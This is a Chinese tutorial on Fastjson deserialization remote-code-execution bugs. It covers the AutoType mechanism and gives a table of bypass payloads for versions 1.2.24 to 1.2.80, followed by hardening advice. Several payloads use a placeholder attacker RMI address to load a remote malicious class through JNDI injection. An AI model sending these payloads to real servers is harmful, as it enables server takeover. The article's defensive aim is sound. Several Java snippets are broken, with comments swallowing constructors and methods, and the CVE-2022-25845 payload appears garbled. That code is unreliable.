作为 Java 生态中最常用的 JSON 解析库之一,Fastjson 因高性能被广泛应用于各类系统。但它的反序列化漏洞(尤其是 CVE-2022-25845)曾多次引发大规模安全事件 —— 攻击者只需构造恶意 JSON 字符串,就能实现远程代码执行(RCE),直接控制服务器。本文将从漏洞原理切入,结合实战案例拆解各版本绕过技巧,最终给出企业级防护方案,帮你彻底规避风险。

一、Fastjson 漏洞核心原理:AutoType 机制是“罪魁祸首”
Fastjson 的反序列化漏洞本质是AutoType 机制的安全缺陷。该机制原本用于方便还原复杂对象类型,却被攻击者利用来加载恶意类,触发危险操作。
1.1 AutoType 机制的工作流程
当 Fastjson 解析含 @type 字段的 JSON 时,会按以下步骤执行:
- 提取类名 :从
@type字段中读取目标类全限定名(如com.sun.rowset.JdbcRowSetImpl)。 - 类加载 :通过
ClassLoader加载指定类,优先从缓存或配置中获取。 - 实例化对象:调用类的默认构造函数,或通过 setter 方法注入属性。
- 触发危险逻辑 :若类中存在 JNDI 查询、反射执行等危险方法(如
JdbcRowSetImpl的setDataSourceName),会在属性注入时自动触发,最终实现 RCE。
1.2 漏洞触发的关键链条
攻击者利用的核心是“setter 方法自动调用”和“JNDI 注入”的组合:
- setter 触发 :Fastjson 反序列化时,会自动调用对象所有属性的 setter 方法(即使是私有属性,加
Feature.SupportNonPublicField即可触发)。 - JNDI 注入 :像
JdbcRowSetImpl这类类,在setDataSourceName方法中会发起 JNDI 查询。若传入攻击者控制的 RMI/LDAP 地址,服务器会加载远程恶意类,执行恶意代码。
二、Fastjson 关键 API 实战:序列化与反序列化
在分析漏洞前,先理清 Fastjson 的核心 API 用法 —— 这是理解漏洞触发场景的基础。
2.1 依赖配置(漏洞版本与安全版本对比)
首先要明确:1.2.83 以下的 1.x 版本、2.0.45 以下的 2.x 版本均存在安全风险。实战中需避免使用漏洞版本。
<!-- 危险:1.2.24(CVE-2017-18349)、1.2.47(缓存绕过漏洞)等版本 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version> <!-- 漏洞版本,禁止使用 -->
</dependency>
<!-- 安全:1.2.x 系列推荐 1.2.83+,2.x 系列推荐 2.0.45+ -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version> <!-- 修复所有已知漏洞的版本 -->
</dependency>
2.2 核心 API 实战:以 User 类为例
先定义一个 User 类,在 getter/setter 中加打印语句,直观展示方法触发时机:
package org.example;
public class User {
private String name;
private int age;
// 无参构造(反序列化必须,否则会报错)public User() {}
// 有参构造
public User(String name, int age) {
this.name = name;
this.age = age;
}
// getter:序列化时会自动调用(用于读取属性值)public String getName() {System.out.println("触发 getName():序列化读取 name");
return name;
}
// setter:反序列化时会自动调用(用于注入属性值)public void setName(String name) {System.out.println("触发 setName():反序列化注入 name");
this.name = name;
}
// 省略 age 的 getter/setter(逻辑同上)public int getAge() { return age;}
public void setAge(int age) {this.age = age;}
@Override
public String toString() {return "User{name='" + name + "', age=" + age + "}";
}
}
2.2.1 序列化:Java 对象转 JSON
核心方法是 JSON.toJSONString(),关键在于SerializerFeature 的配置(如 WriteClassName 会添加 @type 字段,为反序列化漏洞埋下隐患)。
public class FastjsonDemo {public static void main(String[] args) {User user = new User("张三", 25);
// 1. 基础序列化:无 @type 字段
String basicJson = JSON.toJSONString(user);
System.out.println("基础序列化结果:" + basicJson);
// 输出:触发 getName():序列化读取 name → 基础序列化结果:{"age":25,"name":"张三"}
// 2. 带 @type 的序列化(开启 WriteClassName)String withTypeJson = JSON.toJSONString(
user,
SerializerFeature.WriteClassName, // 添加 @type 字段
SerializerFeature.PrettyFormat // 格式化输出
);
System.out.println("带 @type 的序列化结果:\n" + withTypeJson);
// 输出:触发 getName() → 带 @type 的序列化结果:// {
// "@type":"org.example.User",
// "age":25,
// "name":"张三"
// }
}
}
2.2.2 反序列化:JSON 转 Java 对象
核心方法是JSON.parseObject(),风险点集中在Feature.SupportAutoType(开启后允许解析@type)和Feature.SupportNonPublicField(允许注入私有属性)。
public class FastjsonDemo {public static void main(String[] args) {String json = "{\"@type\":\"org.example.User\",\"age\":25,\"name\":\" 张三 \"}";
// 1. 基础反序列化:指定目标类
User user1 = JSON.parseObject(json, User.class);
System.out.println("基础反序列化结果:" + user1);
// 输出:触发 setName() → 基础反序列化结果:User{name='张三', age=25}
// 2. 开启 AutoType(高危!禁止在生产环境使用)User user2 = JSON.parseObject(
json,
User.class,
Feature.SupportAutoType // 显式开启 AutoType,风险极高
);
}
}
三、各版本漏洞与绕过实战:从 1.2.24 到 1.2.80
Fastjson 官方曾多次修复漏洞,但攻击者不断找到绕过方法。下表整理了核心版本的漏洞点与实战 Payload,是漏洞检测和防护的关键参考。
| 影响版本 | 漏洞类型 | 核心绕过技巧 | 实战 Payload(关键片段) | 注意事项 |
|---|---|---|---|---|
| 1.2.24 及以下 | 反序列化 RCE | AutoType 默认开启,无黑名单 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类","autoCommit":true} |
无需额外配置,直接触发 JNDI 注入 |
| 1.2.25 ~ 1.2.41 | 黑名单绕过(L;) | 用 JVM 类型描述符(L 开头;结尾) | {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类","autoCommit":true} |
需服务端开启setAutoTypeSupport(true) |
| 1.2.42 | 双写 L; 绕过 | 双写 L 和;(LL…;;) | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类","autoCommit":true} |
利用单次过滤缺陷,双写后自动截取 |
| 1.2.43 | [符号绕过 | 类名前加 [,后加 [{闭合 | {"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{,"_bytecodes":["Base64 编码的恶意字节码"]} |
需加 Feature.SupportNonPublicField 注入私有属性 |
| 1.2.45 | MyBatis 类绕过 | 利用JndiDataSourceFactory |
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi:// 攻击者 IP:1099/ 恶意类"}} |
需项目依赖 MyBatis |
| 1.2.47 及以下 | 缓存污染绕过 | 先缓存恶意类到_classMappings | {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类"}} |
无需开启 AutoType,缓存跳过黑名单检查 |
| 1.2.80 及以下 | $ref 引用链绕过 | 用 $ref 构造异常对象链 | (CVE-2022-25845){"@type":"java.lang.Exception","@ref":"$..xx"} |
利用异常处理逻辑触发类加载 |
关键版本绕过解析(以 1.2.47 缓存污染为例)
这是最危险的绕过方式之一 ——无需开启 AutoType,仅通过缓存机制就能绕过黑名单。核心逻辑是:
- 第一个 JSON 对象(a):通过
java.lang.Class的val字段,将com.sun.rowset.JdbcRowSetImpl存入 Fastjson 的_classMappings缓存。 - 第二个 JSON 对象(b):直接用
@type指定缓存中的类,Fastjson 会跳过黑名单检查,直接加载类并触发 JNDI 注入。
实战中,攻击者只需发送上述 JSON 字符串,目标服务器若使用 1.2.47 及以下版本,就会执行恶意代码。
四、企业级防护方案:从根源阻断漏洞
Fastjson 漏洞的防护核心是“关闭危险功能 + 及时升级 + 严格校验”,以下是可落地的 4 个关键措施:
1. 强制升级到安全版本
这是最根本的防护手段。根据官方公告:
- 1.x 系列:升级到 1.2.83 及以上(修复所有已知绕过漏洞)。
- 2.x 系列:升级到 2.0.45 及以上(2.x 版本重构了 AutoType 机制,安全性更高)。
2. 禁用 AutoType 机制(关键配置)
即使升级版本,也建议禁用 AutoType(非必要不开启)。有 3 种配置方式:
- 代码配置(全局生效):java 运行
// 禁用 AutoType,禁止解析 @type 字段 ParserConfig.getGlobalInstance().setAutoTypeSupport(false); - JVM 参数配置(启动时生效):bash
-Dfastjson.autoTypeSupport=false - 配置文件配置 (适用于 Spring 等框架):在
application.properties中添加:propertiesfastjson.autoTypeSupport=false
3. 开启 SafeMode(彻底阻断 AutoType)
若业务无需 AutoType,建议开启 SafeMode—— 此时 Fastjson 会彻底禁用@type 解析,无论是否配置白名单,都无法加载自定义类。
// 开启 SafeMode,从根源禁用 AutoType
ParserConfig.getGlobalInstance().setSafeMode(true);
4. 白名单配置(必要时使用)
若业务必须开启 AutoType,需配置严格的白名单(仅允许指定类被解析),禁止使用通配符(如com.company.*)。
ParserConfig config = ParserConfig.getGlobalInstance();
// 添加白名单:仅允许 org.example 包下的类
config.addAccept("org.example.");
// 禁止添加黑名单(黑名单易被绕过,优先用白名单)
五、常见问题 FAQ
Q1:为什么反序列化 TemplatesImpl 需要加Feature.SupportNonPublicField?
A:因为 TemplatesImpl 的_bytecodes(存储恶意字节码)是私有字段,Fastjson 默认不解析私有属性。加该 Feature 后,才能将 Base64 编码的恶意字节码注入到 _bytecodes 中,触发后续代码执行。
Q2:@type为什么必须放在 JSON 的第一个字段?
A:Fastjson 解析时会优先处理 @type 字段,若放在后面,可能在解析其他字段时触发异常(如类型不匹配),导致 @type 未被处理,Payload 失效。
Q3:如何快速检测项目是否使用漏洞版本的 Fastjson?
A:1. 检查 pom.xml 或build.gradle中的依赖版本;2. 使用工具(如 Maven Dependency Plugin)查看依赖树:
mvn dependency:tree | grep fastjson
总结
Fastjson 漏洞的本质是“过度信任用户输入 ”与“AutoType 机制的安全缺陷”叠加的结果。对于开发者而言,无需深入研究每一种绕过技巧,只需牢记 3 个原则: 不使用漏洞版本、禁用 AutoType、开启 SafeMode。这些措施能从根源阻断漏洞,避免成为攻击者的目标。